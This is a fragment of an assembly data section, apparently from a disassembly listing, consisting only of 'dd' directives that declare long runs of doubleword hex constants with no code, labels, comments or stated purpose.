		dd 7A7830C4h, 121CCF29h, 53E0900h, 348060EBh, 5A902DB5h
		dd 13007E70h, 3D4753B8h, 0C6B84F0h, 360AE1E6h, 90009131h
		dd 7E57E433h, 381C52E5h, 94001AE6h, 998D45A5h, 1F005803h
		dd 0B4BB7049h, 0DEED6Eh, 1977875h, 8453C214h, 0DF0EA0F4h
		dd 1CA9E5C4h, 0B40F5BD7h, 0F93F80A6h, 0F0F301h,	3CDEDB6Dh
		dd 4640E0F8h, 0A187F00h, 0CE592C8Ah, 86372E49h,	0EC2500EDh
		dd 75DD2713h, 0EE7C1278h, 8C5C2100h, 0E0836C0Ch, 7098B7h
		dd 6F0F5F45h, 0E7D29AE2h, 505C4A00h, 77F704D9h,	3DB41DF9h
		dd 93F040D7h, 27CA8949h, 0B900D6E8h, 8A876755h,	0C0F6416Dh
		dd 91625128h, 900069ADh, 8CC6A016h, 14DD0AFh, 21B21E71h
		dd 0CC0638EBh, 0C1012D5Ch, 0E4774E08h, 66DC3E67h, 65550070h
		dd 7DB3D939h, 0F3131AE9h, 8D0F4276h, 9DF94087h,	7524EE2Eh
		dd 0C54D12BEh, 56982071h, 8C582B59h, 38DA0BA4h,	98F88087h
		dd 0E8C237h, 14D6BF2Eh,	0B88A0ADh, 0F239A12h, 0E14AA880h
		dd 8E3D0466h, 54BEE497h, 5AD30061h, 27CB3A06h, 0EA60035h
		dd 75843381h, 0F1002A8Dh, 0DD66EB6Fh, 2E0658Bh,	0D0569602h
		dd 0B440490Bh, 0B800354Eh, 91D8885Dh, 7E801769h, 71FB0086h
		dd 0E12CCF7Ah, 120061D7h, 89E6501Dh, 0A033E9h, 0DDF7EC8Ah
		dd 9CFA26Eh, 1776651Fh,	0C53B6880h, 0C38A4Fh, 9BBD2160h
		dd 0B730DE9Ch, 4C1C77E8h, 3D40DB61h, 0AC9A7FDFh, 0D9510766h
		dd 5399B9A3h, 4DB04B05h, 0B1002854h, 844A6AC3h,	64D8B7h
		dd 34D90148h, 740340CDh, 0E678380Fh, 22AD67E4h,	620A64D0h
		dd 7B09006Fh, 277ADE2Ch, 0EF023096h, 94C5DB9Eh,	8BAE6042h
		dd 0F4381206h, 95380362h, 32D0EF6Eh, 1DFAD94Eh,	1F15EA3Eh
		dd 0DC0DC2Fh, 987B64E2h, 0CCF207A3h, 0D0651D97h, 0C1EECEB0h
		dd 73EF3D07h, 52A07AB5h, 43A8234h, 4143AA9Fh, 3E528185h
		dd 6FF7D893h, 0FFF41500h, 0F88B6118h, 4889052Ch, 0EA8AD8h
		dd 725684B4h, 110091FDh, 25AB4AE3h, 700477DCh, 0F439000Ch
		dd 88C168F7h, 2000D879h, 0A602672Eh, 0A9B241Fh,	0FA7C1D73h
		dd 9230CC3h, 1500E8E0h,	3A19800Ch, 0A077F672h, 5CAA5CE9h
		dd 5B0064D5h, 0D42E94A2h, 4A00FD46h, 7A306524h,	4CC0AFF6h
		dd 2300DC17h, 0B0A9F038h, 500CD6Ah, 8E4287C5h, 45D2E5h
		dd 7CB17E7Dh, 987FB0CAh, 0FBFDA400h, 84678E59h,	1A7700DBh
		dd 0C464A165h, 9E0027EFh, 0EB03027Dh, 6A39F6h, 195C8F8Ah
		dd 65D8DBE4h, 4E189498h, 8B11E83Fh, 32B1146Eh, 6F00A434h
		dd 0C70C7FF4h, 4D170E4Ch, 803C038h, 3F1FA525h, 0E1839C08h
		dd 590EB8D9h, 58A04DA3h, 10A0DDA4h, 395DFFA6h, 0A8AA0124h
		dd 90AC18BFh, 0FBD019D1h, 10E950A6h, 2CA354A4h,	0D0B98959h
		dd 9707584Bh, 36F6FA38h, 0BC57710h, 0A83A3ECCh,	0DF0176DCh
		dd 1FE8B6E0h, 0A660E05Ch, 5880F2F1h, 475BF5B7h,	0B4DC4100h
		dd 33BFF05Eh, 4310A079h, 3EA8ECD7h, 78288241h, 0E219150Ch
		dd 5E01CCE0h, 31F76001h, 5BF2D009h, 31101852h, 0C90C382Ah
		dd 0D16EB880h, 0DD24ED1Dh, 0D590F700h, 263F7C46h, 916100EEh
		dd 0C0589A3Bh, 7800A98Bh, 0BDED83D7h, 35D626Ch,	0F6021FFCh
		dd 34A82B54h, 0D5005F9Ah, 0F3E2A89Bh, 0DD8C4Fh,	0C88198DAh
		dd 0D6D418B5h, 330009E4h, 34B98B62h, 7FAB22Ah, 5ED36F25h
		dd 84FED1ECh, 1EF0F4C6h, 0C12B8A01h, 0ADBB5886h, 8EC480D1h
		dd 567803DEh, 620836B0h, 0F61185B8h, 1FBEA15h, 0EE581CD0h
		dd 0C5F1B81Bh, 0C83042Bh, 103E277Eh, 2A020703h,	64D0889Fh
		dd 13F0A915h, 396FEC3h,	57C40F90h, 0A7A4DF80h, 833C39h
		dd 0D4FBD02Eh, 58AB25h,	0CDB2D2A1h, 0DECBE2BAh,	88704026h
		dd 63229700h, 3A68D63Eh, 0B8800E9Fh, 0B7518591h, 9500BEC8h
		dd 79E62A9Ah, 0BAD6FDh,	7CC66D4Dh, 415DB903h, 0FE0000B2h
		dd 0F1D64576h, 0FF4EE9h, 0DE790B81h, 591C86E5h,	32295560h
		dd 716FEF4Ah, 0C11107E6h, 10316535h, 1F7E150Ah,	2B8CFA00h
		dd 6D03C690h, 3E051F69h, 5AA20110h, 0E06B5FFEh,	24B4C7C2h
		dd 0F8C08BBAh, 7EFC807Dh, 1E520D0h, 2D84E766h, 70CFE01Fh
		dd 0CD0C7C90h, 289FFA96h, 89BB0072h, 0FF161E10h, 9E6FE0B8h
		dd 0C6A92E18h, 8071FAh,	4634FC6Fh, 519FF2DAh, 0D7D4BE2Ch
		dd 0F9E13800h, 72A7E52Ch, 50E856h, 0C7C6FB35h, 2A3AF45Ch
		dd 8024A427h, 2B9ACEE8h, 48E0677Fh, 95C2E036h, 8C03746h
		dd 0A2B670EBh, 81B51FB0h, 8C341DA9h, 2C317545h,	0A87B1406h
		dd 1F103B28h, 7AA93CF3h, 4138C50Ch, 95008FA8h, 2F1B67Dh
		dd 0FA10601Dh, 0F31F01EDh, 0B90DC38Eh, 0C574342Ah, 0F8715600h
		dd 0EE5D789Ah, 936C13B7h, 0B1B9003Eh, 363F1F17h, 0C3A7F000h
		dd 53D8F4Dh, 90FB0160h,	0BEF55D22h, 7D0DC47Fh, 52399600h
		dd 69863F65h, 77980095h, 2FC0D321h, 0A007E49Ah,	0C6BDE60Ah
		dd 0AE782480h, 0CB5AAFh, 0AA5D4640h, 0C105983Ah, 890B2EC2h
		dd 5B1C0A0h, 0C5300F3Ch, 21AEC32Ah, 5478C998h, 34941100h
		dd 0E9E2DFDEh, 7EF490BBh, 3ADB002Eh, 72FB6AF2h,	5E3B2BB1h
		dd 0BD500F94h, 80DD8B48h, 26182958h, 0E2216FC8h, 789137A3h
		dd 0F8ECD7E9h, 8903DD54h, 0C0F84BC3h, 3080D066h, 86BE00F1h
		dd 2F971F0Fh, 4000634Eh, 886C47F4h, 0E2F691h, 26BEC102h
		dd 367D5C8Eh, 25BBC600h, 0E7E1A7E3h, 5A190138h,	0B72D9207h
		dd 268CE8D1h, 0A800E490h
		dd 51AE37F3h, 0B88FE53h, 0CE73298Eh, 0E4C99C41h, 660F6CE3h
		dd 0C08B8FC0h, 66F61DAh, 71082DAFh, 39207080h, 4500F658h
		dd 98A3F80Dh, 0B4F4C35h, 78C0C162h, 8F91D040h, 3F3CCD00h
		dd 591D2F1Eh, 0FBD20007h, 1ACF0E6Bh, 1878770Ch,	0B88B4E00h
		dd 86BB514Ah, 96EC94h, 0DA56F9F7h, 0C805FC40h, 0B6A94D00h
		dd 0FB07857Fh, 65EB0936h, 1486C3F1h, 0B701F090h, 59844F4h
		dd 0C089C5C0h, 64A0B410h, 36AE784h, 3F4C017Dh, 0A627006Ch
		dd 4D3252A1h, 43420065h, 0E13CB390h, 0A603EE4h,	1BF3B5C0h
		dd 6B350EAAh, 0D6A06A07h, 0B49C1378h, 7D87148h,	0AF1B95D4h
		dd 11B23200h, 0FE76FCD8h, 47E4CAh, 152174A4h, 61B305D9h
		dd 0A775F800h, 4BBC6724h, 8301187Ah, 0CD291091h, 6300B9FCh
		dd 8F1ABD1Ch, 35C5F9Eh,	0B62D2E6Eh, 7000B25Ah, 4FA99BD2h
		dd 171538C8h, 0DEF07Dh,	0D7245E66h, 1C00BB70h, 5916FECDh
		dd 0F322EBh, 7BDA3218h,	5FC79663h, 0EC04FB1Dh, 81F54889h
		dd 77469C31h, 3B3420h, 8E665B89h, 2B19CCE9h, 31DBE203h
		dd 0B8B52E51h, 10E0799h, 2103819Ch, 24F717ECh, 0E238BBD0h
		dd 86D00D2h, 929E2EA7h,	8DEB00CFh, 0A314B3B6h, 7D00C019h
		dd 0CECA3601h, 54EF47h,	61F8CEBh, 0DD1342C9h, 8B003879h
		dd 0D61EB237h, 0EDA1BB1h, 3CA17763h, 22E9E3A0h,	84A05197h
		dd 0B100BFAEh, 0C0092DA9h, 0F1A23EBh, 3EDE732Ch, 80D85BA4h
		dd 8C5FD6F4h, 0E098967Eh, 0E7B90B00h, 0AD51EE3h, 8A950035h
		dd 0C366D05Ah, 2503F10Ch, 887DE410h, 1A1DC8EEh,	0E6610157h
		dd 3BB76DFDh, 0F4D9C898h, 18928600h, 4EFB88Ah, 15BD0002h
		dd 10DF3B3h, 0A0C0A3B6h, 0F17DDEE5h, 0C57E0098h, 0FC71E0B9h
		dd 0B060FF8Fh, 1945A120h, 36BCA0F9h, 21CFC4Eh, 6AC4F567h
		dd 90904AF3h, 0C71208A5h, 0E8C0C640h, 7004EE50h, 6DC90007h
		dd 957A9FA2h, 4A00160Fh, 8703AF8h, 6E2426h, 1E03E083h
		dd 0F7D1AD30h, 752B2700h, 629D68EAh, 8C244879h,	0EC2ACA07h
		dd 9E55D1h, 960B15FCh, 0AD00F043h, 11919B85h, 35D578h
		dd 88BE8DBh, 0D4157916h, 76D38200h, 0FA3F94C5h,	42C700B2h
		dd 0AF462FFCh, 0EA3D1D63h, 0EC9F0036h, 78B5CB53h, 5BB3D71h
		dd 0F8BA3899h, 502820ADh, 51B6D900h, 6B1E802Ch,	74321437h
		dd 0AB03E0AFh, 892ECDE1h, 772D1CE8h, 7EDA3D02h,	61DE8611h
		dd 0C4FCF544h, 0DBC7002Bh, 38078F69h, 52486C01h, 0B49D8744h
		dd 0B7CDA4C0h, 0F14702C6h, 0C7F5E96Fh, 0A0064EE0h, 0F9523Bh
		dd 0D271AF86h, 0FC48D1h, 4A849928h, 34D414BAh, 0C42C0800h
		dd 230F26D0h, 8B7B3Bh, 0F15DD802h, 0B3EDC750h, 0C47B6200h
		dd 0EA5445EFh, 53D65809h, 53B0350Fh, 0E80077C9h, 6DDBE401h
		dd 0D0D08B26h, 0AFCF47E0h, 0CF200C7h, 42F6BE22h, 0B42E66FEh
		dd 0BFC8E8h, 765E1824h,	0F3E47Fh, 775AD020h, 8FE86409h
		dd 364B6D1Dh, 0A3948D80h, 4C5DC140h, 6200645Ah,	5EB4B70Dh
		dd 0BB0042F2h, 77AEDC09h, 586D8D98h, 0C400EC24h, 11EB8C0Ch
		dd 0D803BC8Bh, 958E3E97h, 1A213965h, 0FB765F80h, 0B1BECA9Ah
		dd 6839A300h, 449D8263h, 0EF1C0FB9h, 0C4058775h, 0FBE0002Eh
		dd 5AB85D11h, 22F68073h, 259A7E00h, 0DB0A7A9Dh,	924E00A6h
		dd 4C14708h, 7D00C3B7h,	666D7519h, 0F8B95D65h, 0ECAAE2E2h
		dd 7180248Eh, 0AF75001Ch, 0BF28E935h, 0D6104100h, 96A026E0h
		dd 21FC0673h, 80057EA4h, 0DB33F500h, 4CAC75C2h,	0B27CA7h
		dd 7EA86A9Bh, 0E69858E3h, 0C452F803h, 9E449A81h, 0B3390660h
		dd 0F8FD7C54h, 71D9E70Fh, 827486C6h, 59A0020h, 6FAC29F7h
		dd 0C9056101h, 43EB129Dh, 6A22D800h, 738E83Dh, 68E5995Eh
		dd 0FC40FB9Eh, 0DE00DA23h, 96B50273h, 48374EB7h, 0CA00BC03h
		dd 59D67A17h, 20550B9h,	0EB213892h, 0F88F94C0h,	632807F5h
		dd 0C05AAD4Eh, 0B8A833E9h, 8A61606h, 0B6AC78h, 235396C7h
		dd 488A3C97h, 0DC4EDF05h, 0CC08946h, 1FD60188h,	1EFC3104h
		dd 0F4F50026h, 9AAF45D0h, 309E5F07h, 0D880C4B2h, 6C7A03h
		dd 0C920AC1Ah, 941D0FF4h, 7F885F50h, 9C74F112h,	0BC4DEA00h
		dd 4B6E75Dh, 3FE4002h, 0ED7CC041h, 0B00D1A4h, 8EF52C63h
		dd 485126AEh, 0AC013C05h, 0F75F6E67h, 9CD1CCDBh, 47E4E80Eh
		dd 48809D3Ah, 4C9B2439h, 0F6C5FE0Bh, 3C593CEBh,	75AF7F01h
		dd 0E807F5DCh, 7B00B8ABh, 0FE4DAE5h, 796382Bh, 0D93D26DEh
		dd 0B9D1D0A8h, 8900D3F3h, 872F59D0h, 544D155Bh,	0CADD4BBh
		dd 471367A6h, 7D000C38h, 0A0129A7Bh, 0FC8BB9h, 5F9F0A2Dh
		dd 8BA31E8h, 18A65D1Fh,	0FB006F5Fh, 0A02C214Fh,	28543023h
		dd 0B68CC288h, 5300F174h, 77C9716Fh, 713C02Ah, 21EB4616h
		dd 344859E8h, 991E88CBh, 0AD0634D9h, 30E3B1h, 1339C62Eh
		dd 36B01CC0h, 0C44CCC00h, 0EAFF85F5h, 0DF88074Dh, 0DFA9C5BAh
		dd 0CDB5C05Eh, 536BA750h, 0A1C90A00h, 8EB31A95h, 7AB00F4Ch
		dd 64D8DEAh, 0F942E0A0h, 4A71962Ch, 0B3013617h,	3CD73FA5h
		dd 0EA2C32E8h, 5ADEEE0Dh, 4BE40333h, 9824CF57h,	71026734h
		dd 0C0C43789h, 0FACC98F4h, 0C73F25C8h, 406F8027h, 0E47227A5h
		dd 35B01B02h, 80B95AC0h, 9B7FD1B0h, 38DAE8B6h, 0EB009066h
		dd 11532F41h, 3600E3CDh, 5247AA7Ah, 31579626h, 3E38B103h
		dd 0FB6BEC55h, 3C65A100h, 73C8A0B3h, 17870531h,	0A243AB2Dh
		dd 58123064h, 0F523A14h, 235E312Eh, 0D0603409h,	0E50020E8h
		dd 0BE4FA127h, 0CE837Bh, 58C8648Ch, 0B4FFA28Fh,	52972A00h
		dd 4AB143Bh, 30E90055h,	4DC1FCC5h, 2604F570h, 25EB0CCFh
		dd 0E97FC8C3h, 13DCD514h, 457E03h, 7EB35AC2h, 0DAAC0A85h
		dd 0FC72700h, 978CCD5h,	5F3900F4h, 0DF55FDB3h, 8E76027Fh
		dd 0C0A02E05h, 0E4901F16h, 188858h, 0DB5FEE08h,	0FDB22F9Ah
		dd 38FFF20Fh, 0C60B00D5h, 0C0C5DD99h, 80A6CCD0h, 8A00CBCFh
		dd 5C91C281h, 1CF775B3h, 802220F8h, 97D34BFAh, 6204B8ADh
		dd 19DE990Ch, 72DDDCD0h, 0F247FE64h, 7A0600E4h,	93331501h
		dd 0F5007B26h, 218BB341h, 1F04B78h, 85CD1009h, 409DEA50h
		dd 5FEFE1D0h, 0F521EE00h, 0BA3714F1h, 0FFEB38D4h, 0CD793381h
		dd 0C071EF4Eh, 574E2D94h, 807F3062h, 28142CD8h,	0D9D02C98h
		dd 7EC70115h, 0CC72104Ah, 49000625h, 0D6233B37h, 0EE8639AEh
		dd 56D3D42h, 0CEAA2F80h, 5DB9AFF3h, 0C28A6402h,	0C8E1387Ah
		dd 3CCBB98h, 3E0EC7E8h,	0C0EF13A7h, 47EFD495h, 658DE104h
		dd 60C1C370h, 0FFF07FF6h, 332D3FBAh, 0D63C740Eh, 0D89BCDE0h
		dd 220F1EE3h, 0C0E49927h, 0F00C8C07h, 0BF46009Ch, 13799F16h
		dd 4900FFF3h, 0B1B875A2h, 1CE7F7A4h, 4369B403h,	0BDCE3760h
		dd 0AD48E1F8h, 2A01D700h, 5CE0A386h, 0C5F909B5h, 8CC07EC0h
		dd 0F387224h, 0E4518155h, 9F1ADC77h, 313A47Ch, 0DA2A0071h
		dd 50D56B72h, 11C16673h, 0E3D4B48Ch, 260209C0h,	38106EB7h
		dd 9055DF82h, 0D8626FA8h, 0D3C6F8C0h, 8002EF2h,	99EE9B29h
		dd 4EE26C75h, 7910033Fh, 0BFC82AF6h, 561FC3E8h,	95006FD3h
		dd 11EAB548h, 5F5C0052h, 0A0614987h, 5300BEBBh,	7250FAE9h
		dd 0A02AEBF8h, 0E66BC4h, 947174A1h, 0E2951514h,	270D5C00h
		dd 0DACB684Bh, 94B4D442h, 86585F00h, 8D71DD5Ah,	404C5898h
		dd 7B50134h, 0CAA67DECh, 0B411980h, 1E710439h, 223E6A00h
		dd 5DD74BB5h, 0E6F4CCh,	0B7EDFEFh, 14476EA9h, 0DBEC8795h
		dd 325C8050h, 0B49D02D2h
		dd 9F54DCCFh, 0D80D4040h, 68FE8224h, 0A087B900h, 137BB040h
		dd 6C3138h, 95ED680h, 5A12ED04h, 44C320BDh, 0AD900718h
		dd 67A3B5BFh, 5791731Ch, 2AF44800h, 0A8930894h,	82D120CDh
		dd 9C784E5Dh, 948D749h,	436C70F5h, 0D830018Eh, 0AAC6DDBFh
		dd 619ACh, 6F4DD055h, 913F9F1Ch, 7350011h, 10D17916h, 0DC4201ABh
		dd 20BE6B5Dh, 0F78880F4h, 687DB09Dh, 8708258Ah,	0BB105C98h
		dd 0D210F13h, 0E9172CC3h, 0C6CCED6Eh, 81510037h, 0A3602876h
		dd 310F09D1h, 803A39C2h, 72BAF233h, 1EEDF287h, 0C048B888h
		dd 0F05AAFE0h, 2302D243h, 8D89606h, 5654E098h, 95C9254Bh
		dd 0A77BBCE0h, 0ECD64702h, 80593E0Dh, 217DFE8h,	7CF300B1h
		dd 0DA65DEE1h, 0B3003388h, 0DFCB366Fh, 4845DF0h, 29F84859h
		dd 48F0AC52h, 0D1700C8h, 4477CA87h, 684500BFh, 0D4437167h
		dd 0C5E0D965h, 700073B0h, 0B3B4CE01h, 0EC2330ADh, 0DCAB002Eh
		dd 0DED5C9D1h, 5F0F1E3Ah, 0A59CF87Bh, 30F02CF6h, 6AE700EEh
		dd 13E4DB04h, 96007CBEh, 5E758B39h, 7C01E25h, 0F2D95FFBh
		dd 0C6369052h, 0F9011C9Eh, 0AC1BCA4Bh, 0AC3C5941h, 80103000h
		dd 5C60DDFh, 84509B3Dh,	93E9FCADh, 551130E8h, 0AA2A0FDEh
		dd 6FBF834Ah, 0B0FAD99Ch, 0D300B26Ch, 0D5ABC8BBh, 4A1C843Dh
		dd 0A2C03B4Dh, 904C2C1h, 2610026Fh, 0CC31CD03h,	59D3FCD0h
		dd 0AB7AFCC0h, 89012983h, 0BA0A01DCh, 6056E612h, 57000781h
		dd 6536BDCAh, 946CA8C7h, 202C67F0h, 0C47ACFE0h,	0C6AA8001h
		dd 9A05E81Bh, 3DD453F9h, 27FC3E17h, 0E5371F83h,	0EEB8A28Eh
		dd 0A19DBA4Fh, 0A9B116BCh, 0FA1C11C0h, 740D3F45h, 0FFD73C80h
		dd 0E9170428h, 0D60091F2h, 22B764CAh, 531A62h, 0B54DE267h
		dd 78F23B49h, 2D20C600h, 0E94EA473h, 0F35E007Eh, 0E5A501C9h
		dd 83004B1Dh, 3E0259DEh, 330950Ch, 97F666F9h, 100009A3h
		dd 0D3AC61Ah, 0AE516Ch,	39543D25h, 0C24AF97Fh, 0F45D9205h
		dd 2CB0D5CFh, 0A5D42434h, 3DAE030Ch, 7998BAF7h,	65F4F3B5h
		dd 35A19A02h, 58BF5CD3h, 878117DCh, 0F000EBB9h,	96CFBC40h
		dd 392F7E6Ch, 0D80BF188h, 54205F8Eh, 0D3B14615h, 0F48DD200h
		dd 0C07B7709h, 0CD2A16E7h, 71B88061h, 0DBA06D82h, 27003472h
		dd 0C51A4E09h, 2B031DAh, 6FA699DCh, 2C54C893h, 83640E5Dh
		dd 0E9C25A1h, 871BF869h, 0A8ACE001h, 6339D4BFh,	0F03CC0BCh
		dd 9DCD2F0Fh, 0D5AA6B20h, 8D48D7Ch, 0E5A400CBh,	5A6E1973h
		dd 0E93100EFh, 3920A060h, 0C6601B64h, 7D9C961h,	209565h
		dd 0A6F9AC23h, 4088F34Ah, 694086D9h, 14B17B24h,	1420A6B5h
		dd 0E855007Eh, 0FB262207h, 6C0B32E2h, 7B4C44Fh,	2EC04482h
		dd 36B51Fh, 904D24DDh, 0BABB75D7h, 67F27F00h, 0C4E88CFEh
		dd 0B9510056h, 0CDA04B13h, 0AC078E21h, 753A5722h, 3FBBAF0h
		dd 9FD50002h, 31170B49h, 6D003B63h, 180CD69Ah, 0C11982h
		dd 4E610214h, 8C4BD87Dh, 75E8D21Dh, 4DE08640h, 0EC9FC054h
		dd 841100E1h, 3CA98F12h, 9D00BD5Dh, 0C116F55Ch,	0A9F0560h
		dd 0ED843930h, 20E40ABFh, 0FC38084h, 890EB576h,	0A6C0D90Ch
		dd 60B708A0h, 276220ACh, 9F000176h, 802E1BE2h, 2650F0h
		dd 5F64600Eh, 0B96EDD7Dh, 8FB6600h, 383FA263h, 1D8C00D6h
		dd 2B799B8h, 0DA60DC2Ah, 24236650h, 5C9B490Dh, 0E9DEBC00h
		dd 0C067419Ch, 5F193919h, 2180F408h, 0B2E9F659h, 960727FFh
		dd 0A83243EDh, 0B75B60CCh, 30EF3F8h, 4DA2FF2Ah,	0B98018CFh
		dd 2D220823h, 2F00C066h, 3E3401BFh, 1AF56A03h, 989C5568h
		dd 0F6114817h, 0FCC60880h, 4003C2B6h, 0F1B85BCFh, 6150069Bh
		dd 8839100Ah, 0D725D203h, 24C032h, 0A3653110h, 74F2D8Fh
		dd 3FA68200h, 6E45F197h, 47F215h, 2FCC66D3h, 9443B398h
		dd 25A1D207h, 0AB377018h, 0A3547530h, 0FA7700B8h, 801FBCAh
		dd 982C841Fh, 581C0A8Fh, 2380D82Eh, 8874FE54h, 0A1BE0085h
		dd 0A7ABA85Fh, 0BA009875h, 41FA1EBCh, 80FB17h, 24F0DCBFh
		dd 8FCDC7E8h, 21477500h, 6AB6481h, 78760030h, 6BE7609Ch
		dd 7DEC702Eh, 0B9A6CB00h, 0A2CD268Fh, 0B0D00BAh, 1B3ACF90h
		dd 2807C908h, 0DD4C187Bh, 64D310E0h, 0C81900F3h, 670CFD6Fh
		dd 11061BE0h, 3133AE6h,	0FCFCF108h, 7758032Bh, 81D1FD1h
		dd 1C471848h, 0E08789ECh, 0BB602559h, 0B221D9h,	4434C22Eh
		dd 47CA67A0h, 84B8AA03h, 0C8D2AFC5h, 3266F39h, 0C6349929h
		dd 51003202h, 0F16D7C61h, 912FA1h, 0B98A9536h, 4F94E105h
		dd 0BD6A5300h, 6EE0FD0Ch, 22A5142Eh, 3714B375h,	0A9804CBAh
		dd 9E2E5CF0h, 7500DDE0h, 0B7C80BEDh, 0E8BBADF5h, 81F90204h
		dd 0DB8F97CCh, 0D6B48CA1h, 212B30FEh, 0FC1DA3E6h, 67C14433h
		dd 41CEEF35h, 60831CD0h, 0DD1312Ah, 0FA3096F5h,	8F951039h
		dd 15DE00BAh, 3E829AEAh, 0B8007287h, 0D5370F67h, 6016A0B0h
		dd 9DEC48CDh, 42005E4Dh, 4B60A593h, 707F3BF7h, 0C0F60372h
		dd 338E0149h, 0A8C06EE3h, 27002E86h, 0F9A56639h, 0AD1E9Bh
		dd 8B7014C5h, 0E4F4EA94h, 38B53330h, 60801B9Dh,	0AEFC18A4h
		dd 0EFF8D288h, 561AC503h, 1EC1F7F5h, 5C484261h,	40E2DD61h
		dd 0BD028F66h, 2506FC0Eh, 4BC74667h, 0AFD20028h, 0BCB66C91h
		dd 0CA000F76h, 0A4228111h, 0A871E6h, 2ACF0950h,	0D8F970D2h
		dd 561E961h, 0C8EB22F8h, 0CED3E1h, 7E5A4369h, 0C79E6282h
		dd 994FD700h, 78F4EE01h, 6E1500B6h, 0E8E51DACh,	0DC00C30Bh
		dd 0A75932E7h, 0C17127E6h, 6C8101C8h, 0AB99874Dh, 2C93B740h
		dd 49100045h, 0BECD7DFDh, 590B202Ah, 4B6E444h, 0A4C088ACh
		dd 60F2F994h, 624CA1EDh, 1F3CF791h, 16007556h, 7CC51217h
		dd 0ADB34Fh, 3937647Ah,	5A5DD399h, 2700087Ch, 11D8D57Bh
		dd 0B87FA0h, 0C0CF93E3h, 0A82E18FFh, 8BACDE06h,	30096664h
		dd 1F20A0A7h, 74B82E50h, 3F2C4903h, 0E0ED1B4Dh,	6935Fh
		dd 0D06D77A9h, 0FF9B81CCh, 65189F63h, 0EBC889C0h, 0A1EF2980h
		dd 0C081710h, 50EC0407h, 0F54603A4h, 9AE0021h, 60797D11h
		dd 8003E5D3h, 0E46D74FAh, 0CF582861h, 0B6DF1838h, 0FDDCC86Eh
		dd 8204A40Ch, 8C09709Bh, 16110E04h, 0F4623408h,	11E0AD27h
		dd 1DAA52h, 0E126CEF9h,	0DB75531Fh, 0F102227Ah,	199237AEh
		dd 0E6AEE03Fh, 0FD231851h, 0CF49189Dh, 750DC50Ch, 2610D0h
		dd 0E02AB10Fh, 0B829407Dh, 554D7905h, 0C91C236Fh, 0E1F0D040h
		dd 585CC631h, 2E0031FBh, 38DFC00Fh, 0F400C932h,	0A928C23Eh
		dd 83A487h, 50BF9F40h, 30E4711h, 0B3E3201h, 3875903Ch
		dd 1D07F240h, 0CAFD0592h, 0C04EB863h, 55ECD95Fh, 8C5EEA01h
		dd 0CB8DEE7Dh, 34A25D0h, 751CC4C9h, 0C0884793h,	0A3009910h
		dd 3D72CD6Eh, 9C018Bh, 7DC7B8F1h, 8DC08A94h, 0C4069700h
		dd 64DAB2CDh, 0FB93002Dh, 0E8B7CA2Ah, 9000474Eh, 8A4CE452h
		dd 0D4C81Ah, 0C2BC0366h, 6C4E2B8Fh, 49AA7D07h, 0FCC0EC07h
		dd 0D5B272h, 0A37BC6D4h, 3B10F405h, 0D05ABB1Ch,	957E80FBh
		dd 17AC688Bh, 933FEA6h,	0F0C6854Fh, 0E23C6B80h,	9202E7CAh
		dd 196A1BB1h, 10DB80A6h, 3862BB81h, 2F00E97Bh, 0A48AF37Ch
		dd 0DA006727h, 8483E172h, 746314FAh, 0A304005Ah, 20C98F7Bh
		dd 69003FF7h, 532B81C5h, 0F08AB9h, 0A9CE0690h, 0A985AA3h
		dd 1ECF2E03h, 0A0419286h, 9E71DBh, 32600170h, 768211D6h
		dd 68DEAB01h, 0B7EC14FDh, 77A8CCh, 8D74B241h, 0D3B8616Fh
		dd 47B8214Eh
		dd 3064C200h, 0C9F09AEBh, 0D00F1CEEh, 52A245E9h, 0A06E670Fh
		dd 0D9592B0Eh, 0EEE0C00Dh, 2996A1D5h, 86EF7B00h, 3A9ABF21h
		dd 0ABA0090h, 502ED740h, 0E602C3Bh, 95844930h, 0F1D0062h
		dd 3352F1DBh, 5A1D595Ch, 84BE8C69h, 5114439Fh, 0D8E4C440h
		dd 0FC772236h, 86E54E00h, 0B3EB8E75h, 88D10F1Ah, 1903DB24h
		dd 0FC001BDFh, 80D54D51h, 2C8D7Bh, 0D8D1A35Ch, 0C77CFF54h
		dd 25B20800h, 0EB314676h, 0A8700CDh, 0D360B4Bh,	983EB4FCh
		dd 123E45h, 0EAF17FC0h,	0E60864B3h, 0A7D90713h,	0D0FC8BBCh
		dd 101BD760h, 0B4D22B00h, 0B580E4DBh, 0C47D00F2h, 0ECBB5735h
		dd 0B600BC0Eh, 9A74EB3Ah, 4AA8DAh, 0F7F0FD79h, 0D714CDDh
		dd 2E27CB13h, 1A108200h, 946390h, 0E89E28EBh, 2B447E67h
		dd 75552701h, 9B57B525h, 3BA0A2CCh, 8300A920h, 2DFEB734h
		dd 0B1008143h, 331E27D0h, 0FAB0525h, 0D1BEE922h, 740B44C0h
		dd 5906655h, 71E2A00h, 0E63583B4h, 36AD1CE3h, 199ADB98h
		dd 6DE94000h, 325A5EDAh, 0F64F000Dh, 91388D0Ch,	2B00724Bh
		dd 0CBE5627Dh, 0C58871Bh, 6C64176Bh, 477452C8h,	0C4E6E728h
		dd 411D4800h, 0C3CCE4D7h, 35620099h, 5CE16BD9h,	2D3DCA5Fh
		dd 0FC5900F1h, 6FF0AEBBh, 38131E4Ch, 9C97007Eh,	282FC6C3h
		dd 1419A500h, 0B5EE88C8h, 642E0085h, 0EC01BA18h, 890017F1h
		dd 5399DC33h, 0F5C380h,	0F81EB88Ah, 34CE1B62h, 0EB001573h
		dd 6B2EE25Ch, 1F0DF016h, 400F7896h, 0F699C147h,	74739880h
		dd 3269703h, 0E85F88C0h, 2DAFFD95h, 0F480E882h,	4917638Ah
		dd 0C5616B18h, 751FD680h, 880300D5h, 6E911C8Ch,	831F31F8h
		dd 2C7B215h, 0AB3050C7h, 0EC5928A3h, 9A5A005Ch,	673089E5h
		dd 1C0087E1h, 0EE6246E2h, 0EADFB3h, 4F0BAC0Ah, 0EC183783h
		dd 3347DE00h, 436553C9h, 9A4C00EDh, 0CA77B715h,	0BD98D9C3h
		dd 0B37D3C1Eh, 0D068DA87h, 414D85A2h, 0DA614594h, 0A63CC0h
		dd 0A352096Dh, 102995E7h, 0EC5CAF07h, 8099692Fh, 0E045F967h
		dd 1BDE483h, 0BA3D2201h, 702896E9h, 50C08DBFh, 0F5627543h
		dd 0B6A0045h, 0FB12203h, 0E490189Ch, 297FAA00h,	1C53604Ah
		dd 7EB600D3h, 4E84F99Ah, 57125470h, 3B000EDEh, 0E7D2A07Bh
		dd 62740051h, 0EE64F24Ah, 950058ABh, 0C03F4406h, 0E5338E1h
		dd 6C851C5Ch, 83F4F3C0h, 0E300018Eh, 62B0F64h, 18C57EBh
